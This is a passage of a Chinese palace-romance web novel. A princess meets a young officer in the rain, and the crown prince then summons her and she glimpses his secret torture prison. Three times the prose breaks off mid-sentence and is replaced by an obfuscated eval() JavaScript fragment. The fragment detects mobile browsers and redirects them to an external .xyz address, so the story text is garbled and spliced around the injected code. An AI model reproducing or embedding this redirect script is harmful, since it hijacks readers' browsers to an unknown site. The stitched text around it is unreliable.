回过神时，魏珣已经离开了，宴会也步入了尾声。 往常宴饮结束，这群爱好享乐的王子皇孙们觉得不过瘾，都会拉上自己的友人伙伴，前去马球场、御花园等其他地方继续玩乐。 这样的场合一般都跟萧棠没什么干系，她像从前那样起身欲走，还未踏出殿中，便忽地听见一道陌生的声音：“淳和公主——” 萧棠站定，转过头去。 那女子比她高半个头，长得高挑丰满，又生了副笑眼，叫人一瞧便觉得很好相处。 “今日天气宜人，我们商量着去投壶，公主可愿意赏脸一道？” 萧棠从未见过她，可听那女子语气大大方方，她只犹豫了一会儿便应了下来：“好啊。” 一同前去的路上，那女子十分健谈，主动向萧棠介绍了自己的来历。原来她是前中军都督佥事晏家的女儿，唤晏山菱，年方十九。 太`祖设五军都督府各辖一方，中军都督府位于东南，与燕京城相隔甚远。难怪晏山菱瞧着比她大不了多少，萧棠此前却从未见过。 无事献殷勤，非奸即盗，好端端的，晏山菱怎么忽然向她示起好来？ 这份疑惑并未持续太长时间，到了目的地，晏山菱眼珠子一转，望向那乌泱泱的一群人。 大邺不重男女大防，尤其对这群注定要彼此通婚结亲的公子千金们。虽然仍旧分作了男女两队，但两边离得并不远。 “我与堂弟初到京中，人生地不熟，第一眼见公主便觉得似与我投缘，这才冒昧打扰公主，想要与公主结个伴。” 晏山菱说着，自然而然地指向了男子那边：“喏，那位就是我堂弟，晏何修。” 萧棠顺着看过去，竟是方才那个少年，他正束着高马尾，双手抱胸倚在树下，也许是远离了嘈杂无趣的宴会，他的神态舒展了许多，显出几分少年的意气风流。 家中是从军的，难怪举手投足的气度与燕京那些酒囊饭袋颇不相同，格外打眼。 只是晏家……她真是没什么印象，不知道晏何修的情况如何。 萧棠忽地福至心灵，有几分明白晏山菱怎会主动与她结交，却没点破，笑盈盈地道：“我也觉得晏姐姐与我很投缘。” 晏山菱立即道：“公主会投壶吗？我略通一二，若公主不熟练，我可以手把手教您。” 萧棠平日勤勤恳恳地维持着自己病秧子的名声，连出门的次数都屈指可数，更别说投壶。 她摇了摇脑袋，很诚实地说：“那我今日得麻烦姐姐了。” 少女声色极柔，又生了副江南女子纤细的秀骨，微微仰着脸唤人姐姐，倒真让人会油然而生一种使命感，叫人想要把她当做家中不谙世事的小妹疼爱。 萧棠难得玩一回投壶，觉得十分新奇，晏山菱怎么教，她就怎么依葫芦画瓢地学，瞄准、投掷，竟比想象中上手得要快要好。 她太过聚精会神，压根没注意到四周的情况，晏山菱却看得清楚。 不远处那些公子少爷们，说两句话就得往这边看一眼。 有的还装作是随便看看，有的却连装都不装了，眼睛都快要直接黏到淳和公主投壶时仰起的颈子、伸长的藕臂上。 晏山菱走到萧棠旁边，高挑的身躯正好能将少女挡住，隔绝掉那边觊觎的目光。 萧棠偏过头，晏山菱道：“我站累了，走动一下，公主不必管我。” 说着，她又看向晏何修，却见晏何修矗在那儿，跟一条又长又直的木头似的，只顾着将箭矢投入壶中。 不过，晏山菱心里跟明镜似的，投壶这种供京中贵族玩乐的把戏，晏何修一向嫌弃太平淡无聊，扔几下就失了趣，今日却站在人群最前头，一根接着一根地投掷，有意换来他人的赞赏与侧目，原因嘛……呵。 至于萧棠，压根就没注意到那边博得头筹的少年，一门心思都在自己手中的箭矢上。 可惜天工实在不作美，她正瞄准了准备脱手，忽地感觉到冰凉的水滴砸在手上。 一滴，两滴，紧接着天色骤沉，云蒸雨降，原本晴朗的天幕像被瞬间撕开了个口子，暴雨倾盆倒下。萧棠一惊，尚来不及反应，手就已经被晏山菱拉了过去，跑到就近的亭中躲雨。 骤雨拍打亭沿，又卷起好大一阵风，压根不给人踏出去的机会。 萧棠仰头看天，只见乌乌泱泱的一片云，这雨应该得下到明日。 倒春寒的天最不可琢磨，上一刻碧空如洗，下一刻便是狂风骤雨。 “燕京城的天气真是说变就变啊。” 晏山菱刚感叹完，调子忽地有几分惊喜地拔高：“何修——” 比少年先一步引入她眼帘的是他覆下的阴影，萧棠眼前蓦地一暗。 她过了一会儿才偏过脸，望向立在晏山菱旁边的那道颀长身形。 近在咫尺时，才发觉晏何修竟然这么高。 可他又不是那种五大三粗、壮得跟座小山似的莽夫，正相反，少年身形极为峻拔，宽肩、蜂腰、削背，样样不缺，像把赏心悦目的名刀。 晏何修抿着唇，他长得着实俊朗，只是五官像是用刀剑劈出来的，过分锋锐、笔直，没表情时眉头下压，显得…… 有点凶。萧棠在心中默默地补充道。 但一对上她的眼睛，少年的眼睛闪了闪，周身冷硬的气质再次微妙地消融了许多。 “见过公主。” 晏何修说着，一只手横到了她的面前，是只油纸伞。 萧棠愣了愣，原想拒绝，可转头瞧见晏山菱手上已经有了一只，便改口应道：“多谢。” 晏何修颔首，不说话了。 晏山菱连忙补道：“何修他笨嘴拙舌，公主不必介意。” 若是单单只见晏何修，萧棠当然是会觉得他不大好亲近的。可有晏山菱在一旁周旋，她又觉得一家人不出两种性子，晏何修应当不是表面上那么不好接近之辈。 “怎么会，”萧棠笑吟吟地道：“我感激都来不及呢。” 她一笑，晏何修的唇绷得更直了。 少年手指握拳，在唇前轻咳了一声，语气不由得也放轻了些：“雨会越下越大，路更不好走，我们先动身下山吧。” 说是山，其实这儿只是皇宫西边的一道坡，旁边就是豹房兽园，专门辟出一块供贵人玩乐。 清静是清静，空旷是空旷，但若想要回殿、出宫，可需要走好长一段路。 尤其是这截下坡路，若路面积了水，稍有不慎便容易失足跌倒，趁着雨刚下就走，是最妥帖安全的法子。 萧棠点了点头，伸手撑开伞，却忽地发现伞柄一撑就松。 她咦了声，原想拿给晏山菱瞧瞧怎么回事，可有人先上前了一步，低头问：“纸伞坏了？” 距离骤地拉近。可眼下更有重要的事，萧棠也没顾上这处细枝末节，应了声，将伞柄递到他手里：“你看看。” 晏何修伸手接过，不可避免地碰到了她的指尖。 一触即离，是从未有过的触感，像一段轻盈温软的纱。 少年微微怔松，手一时忘了拿稳。“啪”的一声，油纸伞摔落在地，彻底断成两截。 晏何修：“……” 晏山菱：“……” 萧棠：“……” 少女有些尴尬：“抱歉，我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪有人会直接把自己跟东宫的关系撇得这么干干净净，当真是不懂为官的那些弯弯绕绕。 晏何修只道：“我不敢欺瞒公主。” 说着，头顶的伞面又往她这边倾斜了些。 萧棠瞥见，又看向他露在外边的那一侧肩膀，已经湿透了，只是因为衣裳颜色较深，不大容易看出来。 她没说话，只是伸手扶正了斜得厉害的伞柄。 少女的手落在他上方，可垂下的宽袖却覆在了他手上，又像一汪柔水似的，轻轻从他指尖拂过。 晏何修怔了怔，视线落在那片锦袖上，接着一路到她柔弱无骨的手，以及她微微偏着的侧脸。 才发现，淳和公主的脸……当真只有他巴掌那么大。 为了不让伞顺着缝隙飘进来，少年有意将伞面压低，四下大雨瓢泼，掩盖了多余的声音。 故而谁都没有察觉，西群房上阁楼，瞥来一道平静的目光。 太子殿下到此避雨，顺带听宫中的内探汇报密情。 半掩的窗很快被风吹得合上，他也并没有再命人大开，收回目光，望向一旁汇报完毕的内探。 内探脑袋埋得低极了，魏珣淡淡道：“下去吧。” 内探应声退下，只留吴年抱着竹骨伞立在门口，不知是进是退。 他刚刚原本是打算去西山上，将淳和公主接过来的。 虽然太子殿下并未吩咐，可吴年一合计，西群房正好就在西山坡下，如今又下了雨，他去接公主避雨，顺带就一同出宫，让太子跟公主叙叙旧，岂不美哉？ 谁料走出去没多远，就瞧见少年少女挨在一起的两道身影。 靠得那么近就算了，远远看着，淳和公主还似乎搭了一下那人的手。 虽是一触即离，可那一幕瞧着……吴年停止了自己大逆不道的想法。 有旁人在，还是个与朝中大小事有所牵连的人，他不敢轻举妄动，只得先返回来听令了。 他偷偷瞥了眼合上的窗，再看太子平静的神色，估摸着太子殿下应当还不知道外头的状况，既是如此，他要不要禀，又该怎么禀…… “晏家那位准指挥使，”魏珣忽地道，“何时入的京？” 一听这话，吴年便知道魏珣方才瞧见了，连忙正了正色：“上月廿三。” 晏何修来东宫拜见过太子，他对晏何修自然了如指掌，“一同入京的还有他的一位堂姐、两位胞弟，都是白身。” 停顿片刻，吴年敏锐地察觉到太子似乎还在等着下文，又补充了一句：“不曾有妻妾通房。” 太子殿下好像没什么反应，嗯了声，径自离开，并未再管不远处的淳和公主。 …… 但傍晚，潇湘殿便毫无征兆地得了口信，魏珣要见她。 8. 第 8 章 甫一得到这个消息，萧棠刚刚出浴。 前来传话的并非吴年，而是另一位面熟的内侍，萧棠再三确认：“太子是说今晚？” 内侍颔首，恭敬道：“马车已在宫门外候着了。” 从前吴年都会给她留足了梳妆打扮的时辰，头一回像现下这般匆忙。 萧棠只得让内侍多等一刻钟，她如今身容潦草，实在不便再去见人。 坐在镜前，主仆两人都不约而同地从铜镜中瞧出了对方脸上的诧色。 “吴公公也没有提前来找奴婢，往常都是提前一日，至少半日通知潇湘殿的……” 瑞雪喃喃着，替她擦干净鬓边湿润的发丝，重新绾了个简单的发髻，揣测道：“太子今日应当是临时起意的吧。” 萧棠轻轻蹙起眉。 瑞雪又问：“殿下今日遇见太子了吗？” “只是碰了一面而已。” 萧棠努力回忆起宴上是否有什么特殊的情况。 很可惜，她什么都没回忆起来。从头到尾魏珣都没有看她一眼，也没有与她说过一句话。 她还当魏珣是真的对她没什么兴趣了。 结果谁知道，刚一回到潇湘殿就得知了这猝不及防的消息。 萧棠心头忐忑，但转念一想，魏珣其实也不是第一次一时兴起。 第一夜后，次日晌午，他原本答应让吴年送她回去，可她那时实在走不动路，不得不先上了药，多待了会儿。 ……结果一待，就是整整一日一夜。她到最后彻底一步都走不了了，不是挂在男人身上，就是由他抱着，后来躲到行宫别院里，养了足旬才好。 只是后来一年，魏珣太过节制，教她几乎忘记了这一出插曲。 兵来将挡，水来土掩，萧棠想，她大可以再去试探一番魏珣的态度，另做打算。 梳妆完后，瑞雪又开始替她挑选衣裙，萧棠斟酌片刻，选了件寡淡无味，还会衬得脸色不大好的素色绸衣。 ………… 暮色四合，暴雨滂沱，马车稳稳地停在那处宅邸前。 吴年早已撑伞候在门口，见着她，神情有几分复杂。 萧棠主动唤道：“吴公公。” “姑娘安好。”吴年冲她笑了笑，姿态倒是跟从前一样恭敬。 待撑起伞，他才对她说：“今日这雨下得突然，奴才正好在西山附近，原本是想去接公主，不料……还有旁人，便作罢了。” 萧棠心头咯噔一下，天底下竟然真有这么巧的事情。 既然吴年知道，魏珣肯定也知道了。 吴年点到为止，不再多说，萧棠紧紧咬住唇，忽地有些不妙。 她从前再怎么欺瞒魏珣，至少在他面前从未有半分逾矩。如今这一番行径落在魏珣眼中，也不知他会作何想。 收回神，她柔柔地朝吴年颔首，做足礼数：“多谢公公提醒。” 幽庭曲沼，修竹荫阶，一径绿云直入游廊。走到廊下，吴年收起竹伞，另一位侍女上前递给她刚沏好的茶，说让她送去给太子殿下。 萧棠轻轻停顿了一刻，柔声重复了遍：“是要我送去书房？” 侍女：“是。” 往常魏珣有事时，她都是直接去寝房等着他。至于宅邸之内有什么别的东西，她一律不看、不问、不知道。 魏珣大抵对她的乖巧也很满意，从未提过让她去旁的地方。 头一回前去魏珣的书房，萧棠差点走错了路，还是得内侍指引，才拐回了原道。 训练有素的侍从们不曾发出半点多余的声响，但淅淅沥沥的雨声之下，似乎仍有什么奇怪的动静。 靠近书房后，那动静愈发明显，似远似近，如鬼如魅。 她在门外停住脚步：“……太子殿下？” “进来。”男人的嗓音平淡如水。 萧棠深吸了口气，一推开门，正欲唤魏珣，一个黑漆漆的大洞猛地映入眼帘。 她顿在原地，好一会儿定睛一看，才发现那竟是墙上一扇大开的暗门。 门后连接着狭长阴森的甬道，里面漆黑得伸手不见五指，看不清楚通往何方。 刚刚那声音，似乎正是从里面传出。 魏珣正好从暗门走了出来。门边候着的内侍连忙呈上玉盆与绸帕，供他慢条斯理地擦干净指节。 盆中清水上飘着几根薄荷叶，足以掩盖掉不重的血腥味。 萧棠的后背紧绷，忽地发觉自己好像来错了时候……可魏珣刚刚口口声声让她进来，她现在能直接退出去吗？ 少女紧张地站在门边，等来的却并非驱逐。相反，内侍麻利地离开了，大有把这一处屋室留给他们二人的意思。 侍女只让她来送茶，没说别的，萧棠咬着唇，干脆硬着头皮上前，将茶放在案桌边，低声道：“皇兄，阿棠只是——” 告罪的话刚起了头，好巧不巧，暗门后原本忽远忽近的声音突然放大，像有什么东西没马上要从甬道里破笼而出。 突如其来的变故吓得萧棠手一抖，茶盏哐当摔在桌案上。 杯盏未碎，可茶水悉数溅出，又正正好好打湿了太子殿下的衣袖。 “……”萧棠从未觉得自己这般倒霉。 她拿出丝帕，想快点替魏珣擦干净衣袖上的洇湿，将这一出插曲糊弄过去。 可手刚落在男人袖上，就听见有人喊道：“殿下、太子殿下，罪臣绝无与誉王、与回屹勾连之心，是誉王以罪臣妻儿胁迫罪臣，罪臣不得已——求您明鉴——” 萧棠伸出的手硬生生停滞住，继续擦不是，不继续擦也不是。 她很想要装聋作哑，然而那人喊得实在是撕心裂肺，字字铿锵，令她听得一清二楚。 罪臣。 自古能关押审讯戴罪官吏者，唯有刑部与大理寺。 其余人等滥用私刑，是为枉法。 ……她好像真的听到了一个不得了的秘密。 被听到秘密的太子殿下神色毫无波动，对那人的恳求左耳进右耳出，只是瞥了眼她搭上来的手。 墨色的袖上，少女的柔荑被衬得愈发素白。 唯有指尖是淡淡的粉，剔透得像是一线雪，随时都要融化在他的手臂上。 假意是在替他擦拭水渍，实际上手指附上他后便不动了，只有指尖有意地隔着衣料挠来挠去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774843|174660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 分外暧昧的暗示。 萧棠很快回过神。常年的谨小慎微令她唯一的反应就是假装无事发生，低而含糊地道了声歉，继续替男人擦去泼到袖上的茶叶水渍。 然而暗门后的声音越来越大，越来越响，几乎到了撕心裂肺的程度： “……只求殿下念在我们多年情分，放过我的妻女，别让我再这般生不如死！” 最后一声陡然凄厉，却又戛然而止。 万簌俱寂，萧棠的心跳也跟着停了。 很快，暗门后传来一阵急促的脚步声，似有人拾级而上。 魏珣八风不动，萧棠却再次被吓了一跳，下意识往魏珣怀中一缩，手指抓住男人的宽袖，躲进他修长伟岸的身形中挡住自己的存在。 她还以为是刚刚发了疯的人来寻仇，却只听见“噗通”一声，来人跪下，道：“殿下恕罪，属下看守无力，未察觉林少卿舌下含毒，他已畏罪自尽！” 攥着男人宽袖的指尖不由得收紧。 饶是萧棠不知前因后果，也能从这只言片语中猜出，她误撞见了一桩大案。 ——事关朝中少卿的命案。 得是什么样的严刑拷打，才能让那人口称生不如死，直接饮毒自尽？萧棠根本不敢想下去。 她欲要收回手，男人却忽地垂下眸，抬手把玩起她的手指，令一下子僵住，只得继续虚虚依附在他怀里。 冰凉的指节摩挲过她的指尖，魏珣头也不回，漫不经心地吩咐那人：“处理干净。” 四个字，那般轻描淡写，不像是处理一个人的尸体，倒像是在说一只碎掉的茶盏，无关紧要的器物。 两人间的距离近在咫尺，魏珣说话时的气息喷洒在她颈间。 明明是温热的，却叫萧棠那一寸肌肤忍不住浮起了连片的寒意。 恐怕旁人无论如何都不会想到，仁善宽厚的太子殿下，会在自己的宅邸中建一座刀山火树的私狱。 萧棠原先只当这里是魏珣寻欢时随意挑选的地方，从未想过，此处竟有这般惊天的玄机。 她自以为见过了魏珣的真面目，知道他性情恶劣，远不如人前那般温和，却也未想过他会如此草菅人命。 一切重新归于安静，萧棠只能听见自己全然乱了的呼吸声。 檀香味萦绕在她周身不散，萧棠别开脸，试图避开男人投来的视线，下巴却被他擒住抬起。 四目相对，她颤了颤：“皇、皇兄……” “怕了？” 手指轻挲了下她精巧的下巴，又往上一点，指腹轻轻带过她的唇瓣。 少女的唇生得丰润，颤抖时会极轻微地一张一合，摁到她唇上的指尖会感觉到似有似无的湿意，像是被她含住了似的。 唇在颤，身体也是。自从刚刚得了机会顺理成章地缩进他怀中，她整个人便像是没有骨头一样往他身上倚，蹭。 他一边要去想方才那桩事关回屹奸细的密案，一边还要受着她并不高明的勾`引与撩拨。 只是这一招对他并没有什么用，魏珣平静地叙述道：“孤还以为皇妹胆子很大，同军中杀人不眨眼之徒都能共举一伞，谈笑风生。” 9. 第 9 章 急雨骤拍窗，萧棠的心头也瞬间跟着七上八下。 顿了顿，她才问：“皇兄是说，晏家的公子？” 魏珣静静地望着她持续了好一会儿的迷茫表情。 他并未应她，不过对萧棠而言也是件好事，至少她还有机会继续解释。 “我并不认识那位公子，只是今日宴后，他的堂姐邀我一同投壶……” 萧棠知晓太子殿下有一万种法子探明她说的虚实，这番话一字不假：“晏姑娘心善，便托他先送我下山去西群房，再等我的侍女来接我，我们便同行了一段路，除此外并无旁的交集。” 魏珣听完后脸上也并无什么波澜，指节抚过她的下唇，语调平淡：“孤倒不知，皇妹有这般雅兴。” 唇上是丝丝沁水似的凉意，萧棠僵着，乖乖地任由他摆弄。 她不是听不出那弦外之音。从前她性子娴静，与宫内外同龄的姑娘都少有什么往来，今日不但忽然与仅有一面之交的晏山菱投缘，还与她的堂弟说上了话。 如此种种一反常态，若拿不出一个说服得了魏珣的理由，的确蹊跷。 少女唇瓣未涂胭脂，紧紧抿着，几乎不剩多少血色。 落下的发丝已经不知不觉被香汗浸湿，紧紧黏在颈侧，勾勒出她纤细如枝的颈子。 脆弱得一只手便可掐折。 魏珣听她轻声说：“我本不善交际，若是寻常贵女相邀，定会找借口拒绝。” “可晏姑娘为人爽朗，加之我听说她那位堂弟前日去过东宫，便以为能与东宫来往者，应当是可交之辈，也是皇兄信任之人，不该拂起好意。” 少女自顾自地说着，又垂下眸，长睫遮住水盈盈的眼：“后来晏公子说他只是拜访过皇兄，并非皇兄幕僚，我才知自己这一番行径，全然是自作聪明……” 她的声音又小了许多：“便不敢让皇兄知晓。” 这个年纪的姑娘都好面子，不想叫人知晓自己的糊涂事。 况且，若她真是有意地想与东宫幕僚的眷属结交，明面上是感念太子，深究起来，却有几分说不清道不明的僭越心思。 吞吞吐吐不敢告诉他，自也情有可原。 太子殿下轻轻扯了下唇角，声色有一丝淡淡的凉：“打听得太多，不是个好习惯。” 少女的脸色一下子变得很白，急急道：“我再也不会了，只是、只是……” 她没有直说，亦或者说不出口，可交代到这里，未尽的话已经很明显. 她只是，太想知道关于他的消息。 书房里又静了下来，萧棠紧紧咬着唇，只敢看地上，半点不敢直视魏珣。 她有几分巧言令色的成分，但面对男人无声的威压，也确确实实是忐忑到了极点。 终于，渐渐地，萧棠敏锐地感觉到四周凝滞的气氛松缓了许多。 魏珣应当是信了她的说辞。 还好，她无不庆幸地想，以往在人前人后都表现得过分乖巧顺从，偶尔的自作主张也全都被魏珣当做了讨好，叫他以为那才该是她的本性。 这一番借口合情合理，挑不出半点纰漏。 就算他不喜她僭越，也不会想到，她已经胆大包天到背着他挑选夫君的地步。 狡辩起了用，萧棠原本紧紧悬着的心也跟着放了下来。 男人的手还捏着她的下颌。她抬起眼，主动抬手扯了下魏珣的衣袖。 魏珣并未理会她贸然的举动，却也不曾出声呵止。萧棠大着胆子，楚楚地望着他，瞧着又低又怯：“皇兄捏得阿棠好疼。” 很拙劣的撒娇。 魏珣看在眼底，没有应答，却依言松开了她。 冷静的瞳仁中还能映出她下巴上的浅浅粉痕，他并无怜香惜玉的意味，只是淡声唤来吴年更衣。 太子殿下的吹毛求疵之癖一向很重，哪怕袖上茶渍已经擦干净，也仍旧必须要再换件外衫。 萧棠见状，便知晓刚刚的插曲终于算是揭过去了。 吴年很快捧着崭新的墨色暗纹对襟走了进来，却并未直接走向魏珣，而是脚步拐了弯，停在她面前。 萧棠望着那就差直接送到她手上的衣衫，并未立即有动作。 吴年见她不接，瞥了瞥上方，手又往前送了点，出言提醒道：“姑娘。” 就差明说要她为太子殿下更衣。 他哪儿能感觉不到书房内气氛的微妙，此举就是在提醒萧棠讨好些太子殿下。 萧棠想着要问的话，最终还是伸出手，主动说：“公公给我便是了。” 吴年应喏，又道：“车马已经备好，戌时即可出发。” 这话看似是在跟魏珣禀报，实际上却是在明示萧棠，太子殿下戌时后就会离开。 她也不必再应付他很久，更不必过夜了。 萧棠揣度着，顿觉手中的衣物都轻了几分。 书房大门紧合，又只剩下兄妹二人。萧棠先将新衣放在一旁，抬手替男人更换他身上的外衫。 那句军中杀人不眨眼之徒在她唇齿间又过了一遍，萧棠还极少听见魏珣用这样的词形容旁人。 她一边替他松开腰间玉带，一边用余光瞥他神色，试探地问：“皇兄不喜晏公子吗？” 男人望着她身后的屏风，不咸不淡地道：“一个初出茅庐的都指挥使而已。” 萧棠哑然。 也对，她几乎从未见过魏珣有什么喜恶之心。 太子殿下的情绪起伏少得可怜，怎么会浪费在一个名不经传的少年身上。 同魏珣相处得越多，她越明白魏珣对外展现的温文礼节、平易近人都是虚相。 尤其是……萧棠想着刚刚那处私狱，心头不由得一寒。 世人追崇太子珣的君子礼，却不知魏珣挑不出半点错的言行下，骨子里都是冷漠、残忍与傲慢。 说到底，他眼里都未必放得下晏何修这一号无关紧要的人。 可是，若非对晏何修有意见，“那皇兄是不喜阿棠与晏家人走得太近？” 魏珣垂眸，扫过她小心翼翼的脸蛋。 半晌后，他终于开了口，并未否认，只道：“你在朝臣眼中既已是东宫的人，事事都该三思而后行。” 他的人。 这句话若是由其他人说，在如此孤男寡女的时候，难免带着几分别的意味。 然而萧棠清楚，从太子殿下口中说出，却是再客观不过的陈述。 魏珣在御书房替她父亲说了话，从今往后，无论她做了什么事，朝上都会有人将其与东宫相联系，随时等着搬弄是非，谏言参上。 魏珣因此对她多加留心，乃至于约束，都实属正常。 他并非在意她，只是在意他自己的大计，怕她添乱而已。 只是，这一番话来得实在让萧棠始料未及。 她与谁一同投壶、一道同行这种小事，怎么都要让太子殿下纡尊降贵，亲自来过问。 心头疑云密布，萧棠的脸上却仍是一如既往的乖顺，轻轻应着：“阿棠知晓。” 说完后，她便取下男人身上那件外衫，重新为他换上新的对襟。 自古轩冕以庸，衣裳有殊，贵人的冠冕、腰佩与着装都有特定的规格，太子所着的锦服自然尤为复杂繁丽，她对这番装束一窍不通，光是腰间束带如何系了好几回。 这也罢了，费了好一通心思，最后还没系上。 萧棠尴尬地一顿，抬起眸子瞥了瞥魏珣，却见男人仍旧看着她身后的屏风，不知在思忖什么，半分心思都没有分给她。 她张了张口，想主动请辞，将这份艰巨的任务重新交还回吴年。可望见魏珣古井无波的脸庞，最终只得欲言又止。 莫名地，萧棠有种直觉，今日的太子殿下，不像平常那样好说话。 她如今在魏珣面前，不求有功，但求无过。如此一来，萧棠硬着头皮回忆起替魏珣宽衣时束带的式样，照猫画虎地模仿着系回去。 ……然后果不其然地系错了。 这般明显的错误总算引来了魏珣的注意。他睨了眼腰间滚金束带，视线又往上移，落到她的脸上。 萧棠低声解释：“皇兄的装束繁琐，与我的大不相同，我不太熟悉。” 从前与魏珣燕好时，不论她如何不着寸缕，男人几乎回回都衣冠齐整，最多只会卸下大氅外襟。结束之后，他便会重新沐浴，换好寝袍再回来。 从头到尾，她都不曾有替魏珣更衣的机会，魏珣也不曾开口吩咐过她，她对太子的衣束自然是眼生手生，束手无措。 “无妨。” 头顶上的嗓音惜字如金，他似乎并没有让吴年进来替代她的打算。 萧棠只得继续拆了重来。 她低着头，聚精会神地望着那玉带，洁白的雪额正好抵在他胸膛前。往下一点，近在咫尺的是小巧却挺的鼻尖。 呼吸之间，气息都隔着那散开的衣襟落在他身上。 少女的指尖系了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魏珣云淡风轻地道：“吴年应当告诉过你，此处不会被人发现。” 萧棠当然听过这话，若说之前她只是姑且信着，今日便是实打实地确信了。 一处藏着私狱这样惊天秘密的地方，魏珣的确不可能让人知晓。 见这个理由有几分苍白，她轻吸一口气，又道：“……便是宫外发现不了，吴年公公是皇兄心腹，若被人瞧见他频频私下来潇湘殿，恐怕也会惹人无端揣测。一想到此，阿棠便忐忑得夜不能寐。” 魏珣顿了顿。 随之而来的是冗长的寂静。 萧棠看不明白魏珣的脸色，就当她以为他已经被她说服了的时候，冷不丁听见魏珣道：“以后让你的侍女去东宫找他罢。” 话音甫落，少女眼睛睁大，不假思索地拒绝：“阿棠不敢叨扰皇兄。” 魏珣唇角轻扯：“孤不曾瞧出，皇妹有何不敢。” 男人的语气始终太过无波无澜，听不出他是带着微末的讽意，还是单纯的陈述。 萧棠后知后觉地反应过来，自己这一番行径，前一刻刚刚才坦白自己打听东宫之事，后一刻便故作谨小慎微，前后矛盾至此，落在魏珣眼中，的确有几分可笑。 像极了欲拒还迎。 因她说自己忐忑得夜不能寐，太子殿下还是许了她的贴身侍女能够自由出入东宫。这样的殊荣，放眼燕京都少见。 若是长宁公主得了这般恩宠，不知得何等兴高采烈，四处炫耀才肯罢休。 不，不止是长宁公主，任何人能够受此照拂，定然都是对太子感激涕零，诚惶诚恐。 可她拒绝得很干脆。 因为她的确不敢。 萧棠比谁都清楚，东宫并不只是太子殿下的起居之处，更是国储所在。 先不说她如今已至及笄，并非可不知时事、不众位女眷顾大防的懵懂孩童。便真是十年前，那时最受宠的长宁公主都不敢随便往东宫跑呢。 身处天家，便是兄妹情深，也不能像寻常百姓那般亲密。 更别提她与魏珣之间，毫无什么兄妹情谊可言。 她既然想要抽身，就必须要早些跟东宫划清不该有的干系，婉拒那些不属于她的恩赐。 萧棠轻吸了口气，低下头去，柔软的声调清晰地重复道：“阿棠不敢叨扰皇兄，亦不敢让贴身的侍女出入东宫，惹来非议，还请皇兄收回成命。” 最后一个字落下，书房里已是万籁俱寂。 萧棠想，这大概很有可能是太子殿下平生头一回，大发慈悲地施恩，还遭人婉拒。 她能感觉到男人的目光正落在她脸上，平静无温，与平时好像也没有什么区别。 但她能隐约感觉到，他好像……不大高兴。 10. 第 10 章 久居上位的人天然就有不怒自威的气场。哪怕尚未出声，只是一个毫无波澜的眼神，便足够让人紧张得屏息。 原本才缓和不久的气氛一瞬重新凝滞起来。屋外竹林被狂风吹得扑簌，耳边只剩下簌簌惊雨的声响，一下，两下，三下……漫长得没有止息。 再过了一会儿，内侍叩门，恭敬地唤着殿下。 魏珣置若罔闻，仍旧不动如山。 他不曾应，内侍便不敢贸然入内。 屋室内仍只有他们二人。分明近在咫尺，却像是蓦地隔着一道无形的天堑。 衣袖之下，萧棠的指尖已经紧紧抠住掌心。 她其实很怕魏珣生气。 可很快，事实便证明她自作多情了，这一点小事还不值得魏珣动怒。 男人的脸上并无愠色，或者准确说，什么情绪都没有。 只是启唇时，能听出他的语调比先前冷淡：“倒是孤勉强你了。” 萧棠不知如何接话，她刚刚的行径已经称得上冒犯，此时说什么都补救不了，只会徒增魏珣的厌烦。 想到这，她便干脆不开口了，低垂着眼，一副乖顺安静的模样。 萧棠再也不敢看他，只是一直盯着地上大理石的纹路。 直到内侍又唤了一声：“殿下，快到戌时了。” 魏珣才与她擦肩而过，径自离开。 脚步声远去，门却不曾合上。书房重地里不知道藏了多少秘密，魏珣默许她入内，可魏珣走后，宅邸里的仆从侍婢却万万不能放心她一个人在里面待着。 冷风灌入，吹得萧棠手指一阵冰凉。 侍女走到桌案边，贴心地拿来狐毛大氅披在她身上，又道：“姑娘，奴婢先送您回房歇息。” 萧棠也自知不能再待在此处，低低应是，跟着她头也不回地离开了书房。 连廊外一路飘雨，天上月华已被乌云遮掩，视线所及之处都似被天瀑刷洗过，黯淡模糊成一片。 只有侍女提着的灯笼还发着光，勉强映出前方的路。 侍女道：“吴公公说，雨下得大，姑娘还是等明日雨停后再回宫罢。” 吴年公公是太子心腹，亦是东宫最有权柄的内侍，他的吩咐，其余人都当是半个太子的命令来办。 拒绝的话到了唇边，萧棠最终还是没说出来。这些侍女也不过是听人差遣的可怜人，她不配合，只会让她们难做，并没有半点用处。 到最后，少女只是低低应了一声。 回到寝房中，炭火皆已备好，暖融似深春。侍女为她取下大氅，挂在一旁龙门架上，无声退下。 不过一会儿，门被叩响，来者是萧棠不曾想过的人：“吴年公公？” 少女脸上不掩惊讶。魏珣前去尚书府，她还以为吴年肯定会随之同去，没想到他还留在这儿。 吴年作揖，主动解释道：“府中有些杂事，殿下让奴才留下来处置。” 所谓杂事，萧棠当然不会自作多情觉得与她有关。 想来是刚刚那私狱中的人自杀，引出种种变故，需得吴年经手处理。 可若吴年有这般要紧的事，怎么还有空来找她？ 不等她问，吴年又说：“姑娘手上伤口不愈，定是是太医院寻常的药膏没有效用，殿下留意了，便特命奴才取了玉女花研磨成粉。” “这玉女花是进贡花种，难得一朵，据说对女子肌肤容颜颇有效用，对姑娘的伤最适合不过。” 萧棠闻言，却只是轻蹙秀眉：“你们殿下的吩咐？” 吴年颔首：“姑娘的种种，殿下可都是看在眼里的。” 